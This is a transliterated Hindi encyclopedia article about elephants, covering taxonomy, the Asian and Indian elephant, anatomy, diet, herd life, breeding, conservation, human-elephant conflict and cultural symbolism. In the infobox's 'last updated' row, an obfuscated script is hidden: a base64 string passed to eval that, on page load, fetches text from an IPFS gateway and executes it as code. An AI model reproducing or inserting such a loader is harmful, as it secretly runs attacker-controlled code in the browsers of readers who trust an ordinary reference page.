हाथी
hathi
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| jagat | jiv - jantu |
| sangh | k aaurdeta (Chordata) |
| varg | stanapayi (Mammalia) |
| gan | probosidiya (Proboscidea) |
| kul | elifaiantidi (Elephantidae) |
| jati | elifas (Elephas) |
| prajati | maiksimas (maximus) |
| dvipad nam | elifas maiksimas (Elephas maximus) |
| upaprajati | iandikas (indicus) |
| any janakari | bharatiy hathi eshiyaee hathiyoan ki hi upajati haian. bharatiy hathiyoan ke afriki hathiyoan ke muqabale kan chhote hote haian, aur matha chau da hota hai. mada ke hathidaant nahian hote haian. |
| adyatan | 14:39, 25 sitambar 2011 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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hathi adhunik manav ke samay ka prithvi par vicharan karane vala, sabase vishalakay stanapayi jiv hai. isaki do prajatiyoan, eshiyaee hathi (elifas maiksimas) aur afriki hathi (l aauksodoanta afrikana) mean se ek, donoan hi elifaiantidi parivar gan, kul ke haian, jinaka vishisht lakshan unaka b da akar, lanbi sooan d (vistarit nak), stanbhakar pair, vishal kan (visheshakar el afrikana mean) aur b da sir hai. elifais maiksimas bharatiy upamahadvip aur dakshin-poorvi eshiya mean paya jata hai; jabaki el. afrikana, afrika ke upasahara kshetr mean paya jata hai. donoan hi prajatiyaan ghane jangaloan se lekar savana (ghas ke khule maidan) tak mean rahati haian.
eshiyaee hathi
eshiyaee hathi ab pahale ke muqabale simit kshetr mean hi pae jate haian. pahale yah kshetr pashchim eshiya ke tigris-yoofretas besin se poorv ki or uttari chin tak phaila hua tha. isamean vartaman iraq aur p dosi desh, dakshin eeran, pakistan, himalay ke dakshin mean samoocha bharatiy upamahadvip, eshiya mahadvip ka dakshin-poorvi hissa, chin ka ek b da hissa aur shrilanka , sumatra tatha sanbhavatah java ke kshetr shamil haian. amataur par hathi sleti bhoore rang ka hota hai. kuchh hathi saphed hote haian. inhean 'elbino' kahate haian. myaanmar adi deshoan mean aise hathi pavitr mane jate haian aur inase koee kam nahian liya jata.
jivashmoan se pata chalata hai ki kisi samay borniyoan mean bhi hathi the, lekin yah spasht nahian hai ki ve vahaan ke mool nivasi the ya 1750 ke dashak mean vahaan lakar chho de ge bandi hathiyoan ke vanshaj haian. abhi mukhy roop se hathi sabah (maleshiya) aur kalimantan (iandoneshiya) ke ek chhote kshetr tak simit haian. hathi pashchim eshiya, bharatiy mahadvip ke adhikaansh hisse, dakshin-poorv eshiya ke kafi hisse aur lagabhag samooche chin (yunnan praant ke dakshini kshetroan ko chho dakar) se vilupt ho chuke haian. isake kshetr ke pashchimi hissoan ki shushkata, palatoo banae jane ke lie b de paimane par bandi banane (jo lagabhag 4,000 sal pahale siandhu ghati mean shuroo hua tha), manav abadi ke lagatar badhane se inake paryavas mean kami aur inaka shikar, inake kshetr v sankhya mean kami ke pramukh karan haian. left|eshiyaee hathi|thumb|300px ek ganana ke anusar, jangali eshiyaee hathiyoan ki sankhya 37 se 57 hazar ke bich hai; inaka paryavas lagabhag 5,00,000 varg kimi mean faila hua hai. hathi kantile jha didar jangaloan se lekar sadabahar vanoan tak, daladali kshetr se lekar ghas ke maidanoan tak aur shushk evan nam parnapati vanoan jaise bhinn paryavasoan mean pae jate haian. poorvi himalay mean hathi 3,000 mitar ki ooanchaee tak rahane mean saksham hai. 15 hazar hathi bandi avastha mean haian. bharat mean lagabhag 22 hazar jangali aur 3,000 palatoo hathi haian.
bharatiy hathi
bharatiy hathi eshiyaee hathiyoan ki hi upajati haian, atah inamean koee vishesh antar nahian hai. bharatiy hathiyoan ke afriki hathiyoan ke muqabale kan chhote hote haian, aur matha chau da hota hai. mada ke hathidaant nahian hote haian. nar mada se zyada b de hote haian. sooand afriki hathi se zyada b di hoti hai. panje b de v chau de hote haian. pair ke nakhoon zyada b de nahian hote haian. afriki p dosiyoan ke muqabale inaka pet sharir ke vazan ke anupat mean hi hota hai, lekin afriki hathi ka sir ke anupat mean pet b da hota hai.
bharatiy hathi lanbaee mean 6.4 mitar (21 fut) tak pahuanch sakata hai; yah thaeelaiand ke eshiyaee hathi se lanba v patala hota hai. sabase lanba jnat bharatiy hathi 26 fut (7.88 mi) ka tha, pith ke meharab ke sthan par isaki ooanchaee 11 phut (3.4 mitar), 9 ianch (3.61 mitar) thi aur isaka vazan 8 tan (17935 pauand) tha.
hathi ka parivarik jivan
thumb|300px|afriki hathi afriki hathi zamin par paya jane vala sabase b da jivit janavar hai, jisaka vajan 7,500 kilogram tak hota hai aur kandhe tak ooanchaee 3 se 4 mitar hoti hai. bharatiy hathi ka vazan lagabhag 5,500 kilogram aur kandhe tah ooanchaee 3 mitar hoti hai; isake kan afriki hathi ki tulana mean kafi chhote hote haian. hathiyoan mean charvanak daant ek sath hi paida nahian hote; balki purane daant ke ghis jane par naya paida ho jata hai, lagabhag 40 varsh ki ayu mean charvanak daantoan ka chhatha aur aantim jo da nikalata hai, isalie bahut kam hathi isase adhik ayu tak jivit rah pate haian.
hathi ki ausat ayu 60 varsh ki hoti hai, yadyapi kuchh hathi 70 varsh tak jite pae ge haian. janm ke samay bachcha 1 mitar ooancha aur 90 kilogram bhar ka hota hai. tin char varshoan tak hathini bachche ko doodh pilati hai aur sianh, bagh, chite adi se b di sartakata se usaki raksha karati hai.
jangaloan mean hathi varishth hathini ke netritv mean chhote parivarik samoohoan mean rahate haian. jahaan bharapoor bhojan upalabdh hota hai, vahaan jhuand b de bhi ho sakate haian. adhikaansh nar madaoan se alag jhuand mean rahate haian. bhojan aur pani ki upalabdhata ke anusar, hathi mausami pravas karate haian. ve kee ghante bhojan karane mean bitate hai aur ek din mean 225 kilogram ghas aur any vanaspati kha sakate haian. eshiyaee hathi afriki hathi ki tulana mean chhota hota hai aur usake sharir ka uchchatam biandu kandhe ke bajay sir hote haian, samane ke pairoan par nakhoon jaisi paanch sanrachanaean aur pichhale pairoan par char sanrachanaean hoti haian. hathi ke pair stanbh ki bhaanti sidhe hote haian. kh da rahane ke lie ise bahut kam peshi shakti ki avashyakata p dati hai. jab tak bimar n p de ya ghayal n ho, tab tak afriki hathi kadachith hi letata hai. bharatiy hathi pray: letate hue pae jate haian. hathi ki aanguliyaan tvacha ki gaddi mean dhansi rahati haian. gaddi ke bich mean charbi ki ek gaddi hoti hai, jo sharir ke bhar p dane par phail jati aur pair oopar uthane par siku d jati hai. hathi ki tvacha ek ianch moti par paryapt sanvedanashil hoti hai. tvacha par ek-ek ianch ki doori par bal hote haian. isaki khal khol ke sadrish aur jhurridar hoti hai. khal ka bhar ek tan tak ka ho sakata hai.
amataur par sirf naroan ke hi gajadant hote haian, jabaki afriki hathiyoan mean nar aur mada, donoan mean gajadant pae jate haian. hathiyoan mean ghranashakti atyant vikasit hoti hai aur isake zariye ve khataroan ka pata lagate haian tatha baans ke ghane jhuandoan mean naram k aaupal jaise manapasand ahar dhooandhate haian. khate samay hathi is prakar kh de hote hai ki sabase b di hathini hava ki disha mean kh di ho aur bachche use dhooandh sakean.
eshiyaee hathi kisi bhi samay bhojan kar sakate haian, lekin 24 ghantoan mean do mukhy bhojanakal hote haian. vayaskoan ki gatividhiyoan ka 72 se 90 pratishat hissa bhojan dhooandhane aur use khane mean bitata hai.
sharirik vilakshanata
hathi kuchh-kuchh sleti se bhoore rang ke hote hai aur unake sharir ke bal bikhare hue tatha rookhe hote haian. donoan prajatiyoan mean do oopari kriantak dant hathidaant ke roop mean vikasit hote haian, lekin bharatiy hathiyoan mean yah amataur par nahian pae jate. nathune, maansal sooand ke chhor par sthit hote haian, jo saans lene, khane aur pine mean upayogi hote haian. thumb|300px|left|jangal mean lak di dhota gajaraj hathi sooand ke zariye pani khianchakar apane muanh mean dalate haian.
hathi ki sooand lagabhag 2 mitar lanbi aur pray: 136 kilogram bhar ki cham di aur aantargrathit snayu aur peshiyoan ki bani hoti hai. yah asthihin, lachili aur asadharan mazaboot hoti hai. isase vah sooanghata, pani pita, bhojan prapt karata aur use muanh mean dalata tatha apane jo de aur bachche ko sahalakar prem pradarshan adi kam karata hai. hathi apani sooand ke chhor se ghas, pattiyaan aur phal to dakar apane muanh mean dalate haian. hathi apani sooand se bhari se bhari bhi aur chhote si chhoti yahaan tak ki mooangaphali sadrish vastuoan ko bhi utha sakata hai. hathi ki nasika chhoti aur khop di bahut b di hoti hai. hathi apani sooand ke chhor se ghas, pattiyaan aur phal to dakar apane muanh mean dalate haian. kisi kisi bharatiy nar hathi ke gajadant nahian hota. aise hathi ko 'makhana' hathi kahate haian. makhana ka sharir asadharan b da hota hai.
hathi snan karane mean b da niyamit hota hai. apane bachchoan ko niyamit roop se snan karata hai. yah achchha tairak hota haian. sare sharir ko pani mean doobokar, keval saans ke lie sooan d ko bahar nikale rakh sakata hai. yah kisi nishchit sthan par pani pita, aur ek sthan par jakar vishram karata hai. dhoop se bachane ke lie ghane jangaloan ki chhaya mean sota hai. hathi kh da kh da hi vishram karata hai, athava karavat letata hai. vishram ke samay bilkul shaant rahata hai, keval kan ki ph daph dahat ya sharir ke dalane se usaki upasthiti jani jati hai.
jangali hathi dal banakar rahata hai. dal mean sadharanataya 30-40 bachche, boodhe, javan, nar aur mada rahate haian. kisi kisi dal mean 300-400 tak rah sakate haian. prasthan karane par ye ek katar mean shrenibaddh chalate haian. bachche age age aur shesh pichhe chalate haian. akraman ke samay yah kram badal jata hai aur chhoti chhoti tuk diyaan banakar ve vibhinn dishaoan mean khisak jate haian. akraman ki soochana sooan d ki gati se dete haian. kuchh hathi dal ke niyamoan ka palan nahian karate. ve tab 'shaitan' ya 'avara' kah jate haian aur unhean dal se nikal diya jata hai.
aisa kaha jata hai ki hathi kushagrabuddhi hota hai. kushagrata ke praniyoan mean pahala sthan manushy ka, doosara chimpॅzi ka, tisara auraang ootaang ka aur chautha hathi ka mana jata hai. d aaulfin pani ke bhitar sabase buddhiman hai. aisa kaha jata hai ki hathi ki drishti kamazor hoti hai aur vah 75 mitar se adhik doori par kh de kisi manushy ko pahachan nahian sakata. isaki shravanashakti achchhi tatha ghran shakti aur bhi achchhi hoti hai. thumb|250px|hathi|right
bhojan
vishalakay jangali hathi ki khurak bhi usake sharir ke anusar hoti hai. ek samany vayask hathi aram ke dinoan mean 75 kilogram tak bhojan ek din mean khata hai. yah bhojan vibhinn vanaspatiyoan ke roop mean hota hai. lekin, lanbi yatra aur shram karane vala hathi ek din mean 150 kilogram chara yani ghas, patti, vanaspati aur phal-phool kha leta hai. garbhavati aur stanapan karane vali hathani to 200 kilogram tak bhojan kar leti hai.
ek vayask hathi ek ghante mean sat kilogram bhojan grahan kar sakata hai aur ve pratidin 18 ghante bhojan karate haian, is prakar ve pratidin 150 kilogram vanaspati samagri (ardr vazan) ka bhakshan karate haian. dakshin bharat mean ek adhyayan se paya gaya ki hathi paudhoan ki kam se kam 112 kism ki prajatiyaan khate haian, lekin unake ahar ka lagabhag 85 pratishat hissa m aaulavels gan aur leguminasi, palme, saiparesi aur gramini parivar ki sirf 25 prajatiyoan par adharit hai.
adhyayan se pata chala ki ardr mausam ki shuruat mean ye protin yukt ghas khate hai aur jab shushk mausam mean ghas b di ho jati hai, tab ahar mean kopaloan ki pradhanata rahati hai. chooanki khet mean paida hone vale khadyann tatha milet fasaloan mean jangali ghas ki apeksha adhik protin, kailshiyam aur sodiyam hota hai, isalie ve prayah khetoan par bhi dhava bol dete haian, lekin chahe khet jangaloan ke pas sthit kyoan n hoan, sabhi hathi fasaloan mean ghusapaith nahian karate. hathi, mitti se sodiyam aur pe d ki chhaloan se bhi kailshiyam prapt karate haian. ye din mean kam se kam ek bar pani avashy pite haian aur taze pani ke sthayi srotoan se kabhi bahut door nahian jate. din ke garm samay mean inake lie chhaanv anivary hai. hathi apane kanoan ke zariye ooshma ka vikiran karate hai aur inake kanoan ke ph daph dane ki dar hava ke veg, parivesh ke tapaman tatha badaloan ki sthiti ke anusar badalati rahati hai.
vitaran
thumb|300px|bharatiy hathi vartaman samay mean hathi apekshakrit chhote tepiranuma stanadhari jantu ke vanshaj haian, jo kam se kam 4.50 karo d varsh pahale pae jate the. inake avashesh misr mean moeris jhil ke pas pae ge haian. isi adhar par inhean moeritheriyam nam diya gaya. inake donoan jab doan mean do-do b de kriantak daant prathamik gajadantoan ke roop mean vikasit ho chuke the. moeritheriyam ki ek prashakha primilefas se vrihad parivar elifaiantoidi ka vikas hua, jisake tahat navinatam probosidiyan parivar bhi ate haian. ye parivar homo sepiyans (manav jati) ke pradurbhav ke ekamatr sakshi haian. vikas kram mean inake kee roopoan ki utpatti aur vilupti huee. 10 hazar sal pahale tak is parivar mean sitg roeandar maimath (maimathas primijiniyas), isake nikat sanbandhi eshiyaee hathi (elifais maiksimas), aur isase bhinn afriki hathi (l aauksodoanta afrikana) hi bache the. lagabhag 5,000 sal pahale roeandar maimath samapt ho ge. jalavayu ke garm hone se inake vilupt hone ki prakriya shuroo huee, kyoanki usase inaka chara jalamagn ko gaya. manav dvara shikar se bhi inake vilupt hone ki gati tez huee. thumb|250px|left|hathi ke daant kee shatabdiyoan se bharatiy hathi, samarohoan aur bojha dhone ke kam ke lie mahattvapoorn rahe haian. apane mahavat ke niyantran mean hathi pe doan ki kataee ke aparihary aang haian. afriki hathi ka bhi istemal bojha dhone ke lie hota hai, lekin yah apekshakrit bahut vyapak nahian hai.
parivarik ikaee
hathi ki donoan hi prajatiyoan mean usi jhuand mean rahane ki pravritti hoti hai, jisamean unaka janm hua ho. hathiyoan ke samajik sangathan ki adharabhoot ikaee parivarik samooh hai, jisamean do se ath hathi ho sakate haian. kee samooh milakar ek jhuand ya kul ka nirman karate haian tatha kee kuloan se kisi kshetr mean hathiyoan ki sankhya ka nirdharan hota hai. jhuand matrivanshiy adhar par sangathit hota hai aur sabase b di v anubhavi mada isake sanchalan ki dekharekh karati hai. lekin sabase mazaboot bandhan mada aur usake navajat bachche ka hoti hai. char varsh ki ayu mean ve jhuand ki madaoan ke sath kam samay vyatit karate haian tatha apani umr ke ya apane se b de naroan ke sath asthayi roop se sanpark sthapit karate haian. eshiyaee nar hathiyoan ke sabase b de jhuand mean sat sadasy hote haian. nar 14 se 15 varsh ki ayu mean yaun paripakvata hasil kar lete haian aur madaean 15 ya 16 varsh ki ayu mean pahale bachche ko janm deti haian.
vayask nar tab tak kisi jhuand se sanbaddh nahian hota hai, jab tak jhuand mean maithun ke lie taiyar koee hathini mauzood n ho. dikhavati sangharsh aur any samany muqabaloan se nar ek-doosare ki shakti ka anuman lagate haian, isalie madaoan ke lie ganbhir sangharsh shayad hi kabhi hote haian. 20 varsh ki avastha mean nar ke sharir ka poorn vikas ho jata hai. paripakv hathi har sal ek bar mad ki sthiti mean ata hai, jisake dauran usaki aankhoan ke pichhe sthit granthiyoan se srav hota hai. ve akramak ho jate haian aur madaoan ke sath rahane lagate haian, jisake bad sahavas hota hai. mad ki tulana any khuradar pashuoan ke maithun kal se ki ja sakati hai. nar hathi kabhi bhi sahavas kar sakate haian, lekin madakal mean unaki yaun uttejana badh jati hai.
hathiniyoan mean garbhavastha 18 se 22 mahine tak ki hoti hai. aantim charan ko chho dakar any samay mean garbh ka bahar se pata nahian chalata hai. garbhavadhi ke aant mean stanoan mean soojan a jati hai, than phool jate hai aur unase pani jaise drav ka risav bhi ho sakata hai. prasav pi da kam samay se lekar kee ghantoan ki ho sakati hai, lekin prasav lagabhag paanch minat mean hi ho jata hai. mada amataur par prasav ke samay nikalane vale padarthoan ko kha jati hai.
bachchoan ka janm
thumb|300px|hathi bachchoan ka janm sal ke kisi bhi mausam mean ho sakata hai, lekin adhikaansh bachche varsha rritu ke aantim dinoan mean paida hote haian. amataur par ek hi bachcha janm leta hai aur kabhi-kabhar hi ju davaan ya tin bachchoan ka janm hota hai. anukool paryavas mean do bachchoan ke bich ka aantar 2.5-4 varsh hota hai. kam anukool kshetroan mean yah aantaral 5 se 8 varsh tak ka ho sakata hai. navajat ka vazan 100 kilogram (80 se 110 kilogram tak) aur kandhe tak ooanchaee 75 se 90 semi hoti hai. vayaskoan ke muqabale bachchoan ke sharir par kafi bal hote haian. shishu prayah mata ki sahayata se sidhe than par muanh lagakar (sooand ke zariye nahian) doodh pite haian, aur apani maan ya any dugdhapan kara sakane vali madaoan ka doodh pite haian. dedh mahine se bachche thos ahar lena shuroo kar dete haian aur ve vayaskoan se uchit bhojan ke bare mean sikhate haian. prayah bachche apani maan ki lid bhi kha lete haian, jisase selyuloz pachane mean sahayak sahajivi baiktiriya unake jatharaantr mean pahuanch jata hai.
mrityu
hathiyoan ki mrityu chhoti avastha mean any pashuoan dvara unhean marakar khane, rog aur parajivi, durghatanaoan, sookha, tanav, shikar, vriddhavastha aur apasi sangharsh ke karan hoti hai. jab hathi ki chhah charvanak dantavaliyoan mean se aantim dantavali bhi ghis jati hai, to vah bhookh se mar jata hai. jivan bhar selakh di aur ghas ke paushtik ahar aur kee prakar ki rasadar vanaspatiyoan ke ahar ke bad ke bad bhi hathi amataur par 50 varsh se 65 varsh ke bich aisa bhogate haian. thumb|hathi|300px|left
jan-jivan ka vinash
jhuand tatha naroan ka grihakshetr 60 se 500 varg kilomitar tak hota hai, isalie inake sanrakshan ke saphal upay ke lie vibhinn prakar ki vanaspatiyoan aur paryapt svachchh jal vale visham kshetr ki avashyakata hoti hai. hathiyoan ke paryavas ke aandar aur usake kinare par manav abadi ke phalasvaroop hathi aur manushyoan mean sangharsh se hathi v manushy, donoan ki hi janoan ka nuqasan hota hai. bharat mean prativarsh lagabhag 300 log hathiyoan dvara mare jate haian aur 200 hathi avaidh shikar, fasal raksha aur durghatanaoan ke karan marate haian.
sankat grast prajati ka sanrakshan
hathi apane paryavas ke vinash aur manushyoan dvara shoshan ke karan gahare sankat mean hai. bharatiy hathi ko viluptapray prajati mana gaya hai aur afriki hathi sankatagrast varg mean hai. afriki hathi ko pramukh khatara hathidaant ke vyapar ke karan hone vale avaidh shikar se hai. chooanki mada eshiyaee hathi ke gajadant nahian hote aur sirf maans ke lie shikar amataur par nahian hota, isalie ve surakshit haian. lekin hathidaant ke lie nar eshiyaee hathiyoan ke shikar ke karan dakshin bharat ke kee ilakoan mean vayaskoan ka laiangik anupat big d gaya hai. kuchh ilaqoan mean gajadant vale nar ki anupasthiti mean gajadantahin nar (jise makhana kaha jata hai) prajanan kar sakata hai. thumb|250px|1894 mean jis zakhmi bhimakay se relaga di takaraee thi yah usaki khop di hai lekin kuchh ilaqoan mean bahut kam gajadaantahin nar haian, isalie aantatah sthiti yah hai ki sabhi madaoan ke sath sahavas ke lie kisi bhi prakar ke naroan ki sankhya kafi nahian hai.
1999 mean dakshin bharat ke sabase adhik avaidh shikar prabhavit periyar vyaghr abhayarany mean yah liang anupat 100 madaoan par ek nar ka tha. doosari taraf himalay ke nichale kshetroan ke rajaji k aaurbet abhayarany mean yah anupat 2.5 madaoan par ek hathi ka hai aur vahaan 90 pratishat se adhik vayask madaoan ke sath 5 varsh se kam umr ke bachche the. bharat sarakar dvara 1992 mean shuroo ki gee hathi pariyojana unake paryavas vikhandan, paryavas ksharan, shikar-chori aur hathi-manav sangharsh jaise samasyaoan ko door karane ka ek prayas hai.
vanyajiv abhayaranyoan mean hathiyoan ki sankhya avashyakata se adhik bhi ho sakati hai, jisase unake paryavas ko aur nuqasan ho sakata hai. isalie simit sankhya mean unhean mar dalane ki bhi zaroorat hoti hai. sanrakshan ke upayoan mean avaidh shikariyoan se suraksha aur pramukh pravasi marg ki raksha ke lie pagadandiyoan samet b de abhayaranyoan ki sthapana bhi shamil hai.
hathi ke any sandarbh
gulabi hathi
abhi tak kale aur safed hathi ke bare mean hi suna jata tha, par hal hi mean ek fotographar ne afrika ke jangal mean gulabi hathi ke bachche ko kaid kiya hai. botsavana ke jangal mean dekhe ge is hathi ke bachche ko lekar visheshajnoan ko kafi ashankaean haian. unaka manana hai ki yah elbino nasl ka hathi raha hoga, jisake bachane ki sanbhavana kafi kam hai. thumb|250px|left|bharatiy hathi
Indian Elephant unaka manana hai ki afrika ke jangaloan mean chilachilati sooraj ki kiranoan ki vajah se use aandhapan aur cham de ki bimari ho sakati hai. bibisi vaild laiph program ke lie film ki shootiang kar rahe maik holdiang ne okaveango nadi ke pas 80 hathiyoan ke samooh mean ek gulabi rang ke hathi bachche ko jate dekha aur unhoanne is drishy ko kaimare mean kaid karane mean tanik bhi deri nahian ki.[1]
hiansak hathi
thumb|hathi ka pair hathiyoan ne pichhale do dashakoan ke dauran chhattisagadh mean 120 se zyada manushyoan ki jan li hai. aank doan ki yah sachchaee batati hai ki vikas ke nam par jangaloan ke katane aur vanaspatiyoan ke abhav ke karan paryavaran ko kitana nuqasan ho raha hai. apane thikanoan par qabza hote dekhakar janavar shahari kshetroan ki or palayan kar rahe haian. isi apadhapi mean ve hiansak bhi hote ja rahe haian. rajy sarakarean keval muavaza vitarit kar apane kartavy ki itishri man leti haian, jabaki samasya ka hal keval paryavaran evan van sanrakshan ke zarie hi sanbhav hai. jnan-vijnan evan takanik mean lagatar samriddh ho rahe manav samaj ne vanoan aur prakritik paryavaran se jis prakar chhe dachha d ki hai, usase ab vany praniyoan mean apane astitv ke lie jang l dane ki bhavana paida ho gee hai.
ae din vany praniyoan ke gaanvoan evan shaharoan mean pravesh, kheti-palatoo pashuoan ko nuqasan pahuanchane aur manushyoan par ghatak hamala karane ki ghatanaean madhy pradesh mean bhi badh rahi haian. manushy ne vanoan par qabza kar liya hai. isalie vany praniyoan ke samane surakshit nivas aur bhojan ki samasya paida ho gee hai. pet ki ag bujhane ke lie ve mauqa pate hi gaanvoan aur shaharoan ki taraph dau date haian tatha manachaha bhojan chhin lete haian.
saraguja zile mean 2000 se sitanbar 2009 tak hathiyoan ke hamaloan se 20 log mare ge, jinake parivarajanoan ko 17 lakh 90 hazar rupaye ka muavaza diya gaya. 19 ghayaloan ko 27000 rupaye aur fasal-makan uja dane ke 8263 mamaloan mean sat karo d 13 lakh rupaye ka muavaza diya gaya. muavaza vitaran, manushyoan ke mare jane aur ghayal hone ke aank de is aanchal mean hathiyoan evan manushyoan ke bich chal rahi jang ke saboot haian. isake bavazood sarakar hathiyoan ke lie surakshit nivas aur arakshit van kshetr dene mean anakani kar rahi hai. sarakar man chuki hai ki chhattisagadh mean hathiyoan ki raksha ke lie ek abhayarany aur ek surakshit hara-bhara vanakshetr hona chahie.[2]
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bharatiy sanskriti ka pratik hathi
hindoo dharm mean hathi ko pavitr prani mana gaya hai. ashvin mas ki poornima ke din gajapoojavidhi vrat rakha jata hai. sukh samriddhi ki ichchha rakhane vale us din hathi ki pooja karate haian. ganesh ji ka mukh hathi ka hone ke karan unake gajatuand, gajanan adi nam haian. gajendr moksh katha mean gajendr ne magar ke grah se chhootane ke lie shri hari ki stuti ki thi. shri hari ne gajendr ko magar ke grah se chhu daya tha. gajendr moksh srot ka sthan gita mean hai. gita mean shri krishna ne hathiyoan mean airavat ko apani vibhooti bataya hai. hathi shubh shakun vala aur lakshmi data mana jata hai.
samachar
thumb|300px|hathiyoan ke astitv par bhishan sankat
ravivar, 12 sitanbar, 2010
hathi rashtriy dharohar prani ghoshit hoga kendriy van evan paryavaran mantri jayaram ramesh ne gajaraj yani hathi ko rashtriy dharohar prani ghoshit kiya hai. isake sanrakshan hetu bagh sanrakshan pradhikaran ki tarz par gajaraj sanrakshan pradhikaran banaya jayega v vishesh t aausk phors ka gathan kiya jayega. yahi nahian, 12vian panchavarshiy yojana mean isake lie 600 karo d ki rashi di jayegi. isaka karan yah hai ki aj hathiyoan ke astitv par bhishan sankat hai. hathi-daant ke karobar ke chalate aye din shikariyoan dvara hathiyoan ki hatyaean ki ja rahi haian. isaka sabase b da karan yah hai....
samachar ko vibhinn srotoan par padhean
shukravar, 15 aktoobar, 2010
hathi rashtriy virasat pashu ghoshit
paryavaran mantralay ne hathiyoan ke sanrakshan ki disha mean qadam uthate hue unhean rashtriy dharohar pashu ghoshit kar diya. rashtriy vany jiv bord (enabidablyooel) ki sthaee samiti ki 13 aktoobar, 2010 ko huee baithak mean hathiyoan ko rashtriy dharohar ghoshit karane vale prastav ko manjoori di gee thi. isake bad paryavaran mantralay ne 15 aktoobar, 2010 ko is sambandh mean adhisoochana jari ki. ...
samachar ko vibhinn srotoan par padhean
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vithika
- chitr:Elephants-Jim-Corbett-National-Park.jpg
jangali hathiyoan ka jhuand, jim korbet rashtriy park
- chitr:Elephant tusk.jpg
hathi daant
tika tippani aur sandarbh
- ↑ aphrika ke jangal mean dikha gulabi hathi (hindi) (ech.ti.em.el) navabharat taims. abhigaman tithi: 7 mee, 2010.
- ↑ hathi hiansak kyoan ho rahe haian? (hindi) (ech.ti.em.el) chauthi duniya. abhigaman tithi: 18 faravari, 2011.
bahari k diyaan
sanbandhit lekh
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- REDIRECT saancha:jiv jantu
varnamala kramanusar lekh khoj
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